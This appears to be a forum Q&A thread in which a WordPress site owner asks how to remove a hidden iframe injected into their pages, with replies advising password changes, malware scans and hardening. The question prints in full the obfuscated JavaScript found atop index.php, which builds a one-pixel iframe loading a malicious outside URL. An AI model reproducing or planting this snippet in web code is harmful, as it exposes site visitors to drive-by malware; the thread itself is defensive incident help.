Malicious script is being appended to my markup. Help? [closed]

Question

On my site, the script below is being added:

<iframe width="1" height="1" frameborder="0" src="http://hysofufewobe.com/k985ytv.htm">

I tried searching every file in my WP install directory for "hysofufewobe" but got no results so possibly the code is being obfuscated.

I am not sure if WordPress or my host DreamHost is the problem. I've contacted my host asking if any reports have been made about similar issues. No reply yet. Thought I'd ask here in the meantime.

Anyone know what steps I can take to get rid of this script?

By the way, I made another thread here about this issue but I can't access it for some reason. Please feel free to delete that one if needed.

-edit- I checked /index.php and wp-admin/index.php and found the strange characters below at the very top before the <?php.

mv='uf';jx='tv.';cg='me';k='e';mg='rc';g='ys';rs='m';f='of';m='ht';u='85y';ca='e.c';r='s';j='fra';i='ht';h='//h';qy='wob';v='k9';a='t';qt='i';br='p:';s='om/';ul=qt.concat(j,cg);xl=r.concat(mg);xp=m.concat(a,br,h,g,f,mv,k,qy,ca,s,v,u,jx,i,rs);var bn=document.createElement(ul);bn.setAttribute('width','1');bn.setAttribute('height','1');bn.frameBorder=0;bn.setAttribute(xl,xp);document.body.appendChild(bn);

So I deleted it and everything looks like it's back to normal. The script doesn't append to my markup, either. I am skeptical that simply erasing those lines fixed the entire problem but don't know how to check. Any ideas?

Answer 1

See FAQ My site was hacked in Codex, but really unless you are completely confident you can deal with check/cleanup/secure yourself - your only remaining option is to get/hire someone to do that.

Answer 2

I have the same issues on 10 different sites that all got hit today (not all wordpress) and were comprised with the same code. My best guess at this point is that I have malware on my LOCAL machine that used my FTP client to infect my sites.

My bad for storing passwords in the FTP client. I learned from this one.

Get good malware scanning tool, change all passwords for your sites. Don't store passwords in your FTP client.

Answer 3

useful links:

http://codex.wordpress.org/FAQ_My_site_was_hacked http://wordpress.org/support/topic/268083#post-1065779 http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/ http://ottopress.com/2009/hacked-wordpress-backdoors/

Then implement tips of this guide: http://codex.wordpress.org/Hardening_WordPress

Answer 4

We wrote about this wave of attack in our blog here. Check it out!

(moderator note) This was flagged and reported as site containing malware. I don't think that scans react to actual live malware (site warns about false positives), but enter at your own risk.

_http://blog.armorize.com/2011/08/k985ytvhtm-fake-antivirus-mass.html